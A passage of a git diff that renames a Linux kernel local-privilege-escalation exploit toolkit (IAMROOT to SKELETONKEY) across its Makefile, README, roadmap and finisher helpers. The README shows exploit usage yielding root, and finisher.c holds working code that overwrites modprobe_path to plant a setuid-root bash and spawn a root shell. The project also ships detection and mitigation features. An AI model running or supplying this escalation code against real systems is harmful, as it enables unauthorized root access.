%.c,$(BUILD)/%.o,$(CORE_SRCS)) # Family: copy_fail_family -# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge. +# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge. CFF_DIR := modules/copy_fail_family -CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c -# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main). +CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c +# Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main). CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS)) CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS)) # Family: dirty_pipe (single-CVE family, no shared infrastructure) DP_DIR := modules/dirty_pipe_cve_2022_0847 -DP_SRCS := $(DP_DIR)/iamroot_modules.c +DP_SRCS := $(DP_DIR)/skeletonkey_modules.c DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS)) # Family: entrybleed (single-CVE family, x86_64 only) EB_DIR := modules/entrybleed_cve_2023_0458 -EB_SRCS := $(EB_DIR)/iamroot_modules.c +EB_SRCS := $(EB_DIR)/skeletonkey_modules.c EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS)) # Family: pwnkit (userspace polkit bug, not kernel) PK_DIR := modules/pwnkit_cve_2021_4034 -PK_SRCS := $(PK_DIR)/iamroot_modules.c +PK_SRCS := $(PK_DIR)/skeletonkey_modules.c PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS)) # Family: nf_tables (CVE-2024-1086) NFT_DIR := modules/nf_tables_cve_2024_1086 -NFT_SRCS := $(NFT_DIR)/iamroot_modules.c +NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS)) # Family: overlayfs (CVE-2021-3493) OVL_DIR := modules/overlayfs_cve_2021_3493 -OVL_SRCS := $(OVL_DIR)/iamroot_modules.c +OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS)) # Family: cls_route4 (CVE-2022-2588) CR4_DIR := modules/cls_route4_cve_2022_2588 -CR4_SRCS := $(CR4_DIR)/iamroot_modules.c +CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS)) # Family: dirty_cow (CVE-2016-5195) — requires -pthread DCOW_DIR := modules/dirty_cow_cve_2016_5195 -DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c +DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS)) # Family: ptrace_traceme (CVE-2019-13272) PTM_DIR := modules/ptrace_traceme_cve_2019_13272 -PTM_SRCS := $(PTM_DIR)/iamroot_modules.c +PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS)) # Family: netfilter_xtcompat (CVE-2021-22555) NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555 -NXC_SRCS := $(NXC_DIR)/iamroot_modules.c +NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS)) # Family: af_packet (CVE-2017-7308) AFP_DIR := modules/af_packet_cve_2017_7308 -AFP_SRCS := $(AFP_DIR)/iamroot_modules.c +AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS)) # Family: fuse_legacy (CVE-2022-0185) FUL_DIR := modules/fuse_legacy_cve_2022_0185 -FUL_SRCS := $(FUL_DIR)/iamroot_modules.c +FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS)) # Family: stackrot (CVE-2023-3269) STR_DIR := modules/stackrot_cve_2023_3269 -STR_SRCS := $(STR_DIR)/iamroot_modules.c +STR_SRCS := $(STR_DIR)/skeletonkey_modules.c STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS)) # Family: af_packet2 (CVE-2020-14386) — same family as af_packet AFP2_DIR := modules/af_packet2_cve_2020_14386 -AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c +AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS)) # Family: cgroup_release_agent (CVE-2022-0492) CRA_DIR := modules/cgroup_release_agent_cve_2022_0492 -CRA_SRCS := $(CRA_DIR)/iamroot_modules.c +CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS)) # Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family OSU_DIR := modules/overlayfs_setuid_cve_2023_0386 -OSU_SRCS := $(OSU_DIR)/iamroot_modules.c +OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS)) # Family: nft_set_uaf (CVE-2023-32233) NSU_DIR := modules/nft_set_uaf_cve_2023_32233 -NSU_SRCS := $(NSU_DIR)/iamroot_modules.c +NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS)) # Family: af_unix_gc (CVE-2023-4622) AUG_DIR := modules/af_unix_gc_cve_2023_4622 -AUG_SRCS := $(AUG_DIR)/iamroot_modules.c +AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS)) # Family: nft_fwd_dup (CVE-2022-25636) NFD_DIR := modules/nft_fwd_dup_cve_2022_25636 -NFD_SRCS := $(NFD_DIR)/iamroot_modules.c +NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS)) # Family: nft_payload (CVE-2023-0179) NPL_DIR := modules/nft_payload_cve_2023_0179 -NPL_SRCS := $(NPL_DIR)/iamroot_modules.c +NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS)) # Top-level dispatcher -TOP_OBJ := $(BUILD)/iamroot.o +TOP_OBJ := $(BUILD)/skeletonkey.o ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) @@ -154,7 +154,7 @@ clean: help: @echo "Targets:" - @echo " make build optimized iamroot binary" + @echo " make build optimized skeletonkey binary" @echo " make debug build with -O0 -g3" @echo " make static build a fully static binary" @echo " make clean remove build artifacts" diff --git a/README.md b/README.md index 67b03a9..dc56839 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# IAMROOT +# SKELETONKEY > A curated, actively-maintained corpus of Linux kernel LPE exploits — > bundled with their detection signatures, patch status, and version @@ -7,15 +7,20 @@ > vulnerable to, and — with explicit confirmation — gets you root. ``` - ██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗ - ██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ - ██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║ - ██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║ - ██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║ - ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ + ╔══╤══╗ + ║ ● ║═══════════════════════════════════════════════════--, + ╚═════╝ `--,_ + `_/ + + ███████╗██╗ ██╗███████╗██╗ ███████╗████████╗ ██████╗ ███╗ ██╗██╗ ██╗███████╗██╗ ██╗ + ██╔════╝██║ ██╔╝██╔════╝██║ ██╔════╝╚══██╔══╝██╔═══██╗████╗ ██║██║ ██╔╝██╔════╝╚██╗ ██╔╝ + ███████╗█████╔╝ █████╗ ██║ █████╗ ██║ ██║ ██║██╔██╗ ██║█████╔╝ █████╗ ╚████╔╝ + ╚════██║██╔═██╗ ██╔══╝ ██║ ██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔═██╗ ██╔══╝ ╚██╔╝ + ███████║██║ ██╗███████╗███████╗███████╗ ██║ ╚██████╔╝██║ ╚████║██║ ██╗███████╗ ██║ + ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ ╚═╝ ``` -> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team +> ⚠️ **Authorized testing only.** SKELETONKEY is a research and red-team > tool. By using it you assert you have explicit authorization to test > the target system. See [`docs/ETHICS.md`](docs/ETHICS.md). @@ -23,29 +28,29 @@ ```bash # One-shot install (x86_64 / arm64; checksum-verified) -curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh +curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh ``` -**iamroot runs as a normal unprivileged user** — that's the whole +**skeletonkey runs as a normal unprivileged user** — that's the whole point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without `sudo`. Only `--mitigate` and rule-file installation write to root-owned paths. ```bash # What's this box vulnerable to? (no sudo) -iamroot --scan +skeletonkey --scan # Broader system hygiene (setuid binaries, world-writable, capabilities, sudo) -iamroot --audit +skeletonkey --audit # Deploy detection rules (needs sudo to write /etc/audit/rules.d/) -iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules +skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules # Apply temporary mitigations (needs sudo for modprobe.d + sysctl) -sudo iamroot --mitigate copy_fail +sudo skeletonkey --mitigate copy_fail # Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM) -./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt +./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt ``` ### Example: unprivileged → root @@ -54,14 +59,14 @@ sudo iamroot --mitigate copy_fail $ id uid=1000(kara) gid=1000(kara) groups=1000(kara) -$ iamroot --scan +$ skeletonkey --scan [+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic) [+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17) [+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1) [-] copy_fail not vulnerable (kernel 5.15 < introduction) [-] dirty_cow not vulnerable (kernel ≥ 4.9) -$ iamroot --exploit dirty_pipe --i-know +$ skeletonkey --exploit dirty_pipe --i-know [!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable [+] dirty_pipe: writing UID=0 into /etc/passwd page cache... [+] dirty_pipe: spawning su root @@ -69,27 +74,27 @@ $ iamroot --exploit dirty_pipe --i-know uid=0(root) gid=0(root) groups=0(root) ``` -`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for +`skeletonkey --help` lists every command. See [`CVES.md`](CVES.md) for the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md) for the blue-team deployment guide. ## What this is Most Linux LPE references are dead repos, broken PoCs, or single-CVE -deep-dives. **IAMROOT is a living corpus**: each CVE that lands here +deep-dives. **SKELETONKEY is a living corpus**: each CVE that lands here is empirically verified to work on the kernels it claims to target, CI-tested across a distro matrix, and ships with the detection signatures defenders need to spot it in their environment. The same binary covers offense and defense: -- `iamroot --scan` — fingerprint the host, report which bundled CVEs +- `skeletonkey --scan` — fingerprint the host, report which bundled CVEs apply, and which are blocked by patches/config/LSM -- `iamroot --exploit ` — run the named exploit (with `--i-know` +- `skeletonkey --exploit ` — run the named exploit (with `--i-know` authorization gate) -- `iamroot --detect-rules` — dump auditd / sigma / yara rules for +- `skeletonkey --detect-rules` — dump auditd / sigma / yara rules for every bundled CVE so blue teams can drop them into their tooling -- `iamroot --mitigate` — apply temporary mitigations for CVEs the +- `skeletonkey --mitigate` — apply temporary mitigations for CVEs the host is vulnerable to (sysctl knobs, module blacklists, etc.) ## Status @@ -110,7 +115,7 @@ across the 2016 → 2026 LPE timeline: fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup, nft_payload, nft_set_uaf, stackrot. - Detection rules ship inline (auditd / sigma / yara / falco) and - are exported via `iamroot --detect-rules --format=…`. + are exported via `skeletonkey --detect-rules --format=…`. See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status. See [`ROADMAP.md`](ROADMAP.md) for the next planned modules. @@ -126,7 +131,7 @@ The Linux kernel privilege-escalation space is fragmented: - **Per-CVE single-PoC repos**: usually one author, often abandoned within months of release, often only one distro -IAMROOT's bet is that there's room for a single curated bundle that +SKELETONKEY's bet is that there's room for a single curated bundle that (1) actively maintains a small set of high-quality exploits across a multi-distro matrix, and (2) ships detection rules alongside each exploit so the same project serves both red and blue teams. @@ -148,16 +153,16 @@ module-loader design and how to add a new CVE. ```bash make # build all modules -./iamroot --scan # what's this box vulnerable to? (no sudo) -./iamroot --scan --json # machine-readable output for CI/SOC pipelines -./iamroot --detect-rules --format=sigma > rules.yml -./iamroot --exploit copy_fail --i-know # actually run an exploit (starts as $USER) +./skeletonkey --scan # what's this box vulnerable to? (no sudo) +./skeletonkey --scan --json # machine-readable output for CI/SOC pipelines +./skeletonkey --detect-rules --format=sigma > rules.yml +./skeletonkey --exploit copy_fail --i-know # actually run an exploit (starts as $USER) ``` ## Acknowledgments Each module credits the original CVE reporter and PoC author in its -`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the +`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer; the research credit belongs to the people who found the bugs. ## License diff --git a/ROADMAP.md b/ROADMAP.md index 4057cfb..d99c802 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -15,18 +15,18 @@ commitments. ## Phase 1 — Make the bundling real (DONE 2026-05-16) -- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module +- [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module registry, route to module's detect/exploit - [x] Module interface header (`core/module.h`) — standard - `iamroot_module` struct + `iamroot_result_t` (numerically + `skeletonkey_module` struct + `skeletonkey_result_t` (numerically aligned with copy_fail_family's `df_result_t` for zero-cost bridging) - [x] `core/registry.{c,h}` — flat-array registry with `find_by_name` -- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer +- [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer exposing 5 modules - [x] Top-level `Makefile` that builds all modules into one binary -- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON; - `iamroot --list` prints the module inventory +- [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON; + `skeletonkey --list` prints the module inventory - [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`, `exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared across families). Phase 1 keeps them inside copy_fail_family/src/ @@ -35,7 +35,7 @@ commitments. ## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16) -Public PoC, well-understood, useful for completeness — IAMROOT +Public PoC, well-understood, useful for completeness — SKELETONKEY without Dirty Pipe is incomplete as a "historical bundle." Affects kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older deployments (worth bundling — many production boxes still run @@ -49,7 +49,7 @@ these). branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+) - [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow watches) and `sigma.yml` (non-root modification of sensitive files) -- [x] Registered in `iamroot --list` / `--scan` output. Verified on +- [x] Registered in `skeletonkey --list` / `--scan` output. Verified on kernel 6.12.86 → correctly reports OK (patched). - [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline passwd-UID and page-cache-revert helpers in the module (~80 lines). @@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because: - [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect - [x] Exposed as a library helper: other modules can call - `entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h) -- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed + `entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h) +- [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed --i-know` produces a kbase leak. Verified on kctf-mgr: leaked `0xffffffff8d800000` with KASLR slide `0xc800000`. - [x] `entry_SYSCALL_64` slot offset configurable via - `IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x). + `SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x). Future enhancement: auto-detect via /boot/System.map or /proc/kallsyms if accessible. @@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because: ## Phase 5 — Detection signature export (DONE 2026-05-16) -- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules +- [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules across all modules (deduped — family-shared rules emit once) -- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules +- [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules - [x] `--format=yara` and `--format=falco` flags accepted; per-module strings can be added when authors ship them. Currently no module ships YARA or Falco rules (skipped cleanly). -- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`, +- [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`, `detect_yara`, `detect_falco` fields — each NULL or pointer to embedded C string. Self-contained binary, no data-dir install needed. - [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup ## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16) -- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family +- [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets `kernel.apparmor_restrict_unprivileged_userns=1`, drops page cache. Bridged from existing DIRTYFAIL `mitigate_apply()`. -- [x] copy_fail_family: `iamroot --cleanup ` routes by visible +- [x] copy_fail_family: `skeletonkey --cleanup ` routes by visible state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists → `mitigate_revert()`; else evict /etc/passwd page cache. Heuristic sufficient for common usage patterns. -- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd +- [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd (already landed in Phase 2 complete). - [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel"; no automated mitigation possible. Document and skip. @@ -178,7 +178,7 @@ cred-overwrite. Promotion to 🟢 means landing the leak → R/W → modprobe_path-or-cred-rewrite stage on at least one tracked kernel. None requires fresh research — each has a public reference exploit; the work is porting the per-kernel offset dance into a portable -shape compatible with IAMROOT's "no-fabricated-offsets" rule (most +shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most likely as an env-var override table per distro+kernel, with offset auto-resolve via System.map / kallsyms when accessible). @@ -190,7 +190,7 @@ race window makes it inherently low-yield. ## Non-goals -- **No 0-day shipment.** Everything in IAMROOT is post-patch. +- **No 0-day shipment.** Everything in SKELETONKEY is post-patch. - **No automated mass-targeting.** No host-list mode. No automatic pivoting. - **No persistence beyond `--exploit-backdoor`'s diff --git a/core/finisher.c b/core/finisher.c index f085e3f..babddb0 100644 --- a/core/finisher.c +++ b/core/finisher.c @@ -1,5 +1,5 @@ /* - * IAMROOT — shared finisher helpers + * SKELETONKEY — shared finisher helpers * * See finisher.h for the pattern split (A: modprobe_path overwrite, * B: current->cred->uid). @@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode) return 0; } -void iamroot_finisher_print_offset_help(const char *module_name) +void skeletonkey_finisher_print_offset_help(const char *module_name) { fprintf(stderr, "[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n" @@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name) " To populate them on this host, choose ONE of:\n" "\n" " 1) Environment override (one-shot, no host changes):\n" -" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n" +" SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n" "\n" " 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n" " sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n" @@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name) module_name, module_name); } -int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, - iamroot_arb_write_fn arb_write, +int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off, + skeletonkey_arb_write_fn arb_write, void *arb_ctx, bool spawn_shell) { - if (!iamroot_offsets_have_modprobe_path(off)) { - iamroot_finisher_print_offset_help("module"); - return IAMROOT_EXPLOIT_FAIL; + if (!skeletonkey_offsets_have_modprobe_path(off)) { + skeletonkey_finisher_print_offset_help("module"); + return SKELETONKEY_EXPLOIT_FAIL; } if (!arb_write) { fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Per-pid working paths so concurrent runs don't collide. */ pid_t pid = getpid(); char mp_path[64], trig_path[64], pwn_path[64]; - snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid); - snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid); - snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid); + snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid); + snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid); + snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid); /* Payload: chmod /bin/bash setuid root + drop a sentinel so we * know it ran. Bash 4+ refuses to use its own setuid bit by @@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, char payload[1024]; snprintf(payload, sizeof payload, "#!/bin/sh\n" -"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n" +"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n" "cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n" -"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n", +"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n", pwn_path, pwn_path, pwn_path); if (write_file(mp_path, payload, 0755) < 0) { fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno)); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Unknown-format trigger: anything that fails the standard exec @@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, if (write_file(trig_path, "\x00", 0755) < 0) { fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno)); unlink(mp_path); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Build the kernel-side write payload: a NUL-terminated path to @@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, fprintf(stderr, "[-] finisher: arb_write failed\n"); unlink(mp_path); unlink(trig_path); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } /* Fire the trigger by exec'ing the unknown binary. fork() so the @@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, waitpid(cpid, &st, 0); } else { fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno)); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } /* Modprobe runs asynchronously — give the kernel up to 3 s. */ @@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n"); unlink(mp_path); unlink(trig_path); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; have_setuid: if (!spawn_shell) { fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path); unlink(mp_path); unlink(trig_path); - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; } fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path); fflush(stderr); @@ -161,11 +161,11 @@ have_setuid: execve(pwn_path, argv, NULL); /* Only reached on execve failure. */ fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno)); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } -int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off, - iamroot_arb_write_fn arb_write, +int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off, + skeletonkey_arb_write_fn arb_write, void *arb_ctx, bool spawn_shell) { @@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off, fprintf(stderr, "[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n" " the task list from init_task and find current). Modules with\n" -" only an arb-write should use iamroot_finisher_modprobe_path()\n" +" only an arb-write should use skeletonkey_finisher_modprobe_path()\n" " instead — same root capability, simpler trigger.\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } diff --git a/core/finisher.h b/core/finisher.h index 3e7f0dc..1eb7075 100644 --- a/core/finisher.h +++ b/core/finisher.h @@ -1,5 +1,5 @@ /* - * IAMROOT — shared finisher helpers for full-chain root pops. + * SKELETONKEY — shared finisher helpers for full-chain root pops. * * The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB * write, slab UAF, etc.). The conversion to root is almost always one @@ -21,11 +21,11 @@ * Pattern (B) needs a self-cred chase + multiple writes. * * Modules provide their own arb-write primitive via the - * iamroot_arb_write_fn callback; this file wraps the rest. + * skeletonkey_arb_write_fn callback; this file wraps the rest. */ -#ifndef IAMROOT_FINISHER_H -#define IAMROOT_FINISHER_H +#ifndef SKELETONKEY_FINISHER_H +#define SKELETONKEY_FINISHER_H #include #include @@ -35,7 +35,7 @@ /* Arb-write primitive: write `len` bytes from `buf` to kernel VA * `kaddr`. Module-specific implementation. Returns 0 on success, * negative on failure. `ctx` is opaque module state. */ -typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr, +typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr, const void *buf, size_t len, void *ctx); @@ -43,22 +43,22 @@ typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr, * groomed slab THEN call the trigger. The trigger is a separate fn * because some modules need to re-spray before each write. NULL is * acceptable if the arb-write is self-contained. */ -typedef int (*iamroot_fire_trigger_fn)(void *ctx); +typedef int (*skeletonkey_fire_trigger_fn)(void *ctx); /* Pattern A: modprobe_path overwrite + execve trigger. Caller has * already populated `off->modprobe_path`. Implementation: - * 1. Write payload script to /tmp/iamroot-mp- - * 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-", 24) - * 3. Write unknown-format file to /tmp/iamroot-trig- + * 1. Write payload script to /tmp/skeletonkey-mp- + * 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-", 24) + * 3. Write unknown-format file to /tmp/skeletonkey-trig- * 4. chmod +x both, execve() the trigger → kernel-call-modprobe - * → our payload runs as root → payload writes /tmp/iamroot-pwn + * → our payload runs as root → payload writes /tmp/skeletonkey-pwn * and/or copies /bin/bash to /tmp with setuid root * 5. Wait for sentinel file, exec'd the setuid-bash → root shell * - * Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified - * via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */ -int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, - iamroot_arb_write_fn arb_write, + * Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified + * via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */ +int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off, + skeletonkey_arb_write_fn arb_write, void *arb_ctx, bool spawn_shell); @@ -67,14 +67,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, * 1. Walk task linked list from init_task to find self by pid * (this requires arb-READ too — not supplied here; B-pattern * modules need to provide their own variant) - * For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a + * For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a * helpful error. */ -int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off, - iamroot_arb_write_fn arb_write, +int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off, + skeletonkey_arb_write_fn arb_write, void 